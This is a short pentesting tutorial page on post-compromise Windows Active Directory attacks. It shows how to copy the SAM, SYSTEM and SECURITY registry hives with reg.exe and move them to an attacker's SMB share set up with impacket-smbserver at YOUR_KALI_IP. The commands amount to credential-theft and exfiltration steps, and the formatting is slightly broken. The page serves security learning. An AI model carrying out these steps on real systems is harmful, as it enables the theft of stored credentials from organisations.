Saltar a contenido

Windows Active Directory Pentesting

Post compromise attacks

Post compromise attack strategy

An other post compromise attack strategy

Attacking SAM

Copying SAM Registry Hives
  • hklm\sam
  • hklm\system
  • hklm\security
  • We can create backups of these hives using the reg.exe utility.

Using reg.exe save to copy registry hives.

``` C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save

The operation completed successfully.

#### Creating a Share with impacket-smbserver
`impacket-smbserver -smb2support shareName someDir`

#### Moving hive copies to share
C:> move sam.save \YOUR_KALI_IP\CompData 1 file(s) moved.

C:> move security.save \YOUR_KALI_IP\CompData 1 file(s) moved.

C:> move system.save \YOUR_KALI_IP\CompData 1 file(s) moved. ```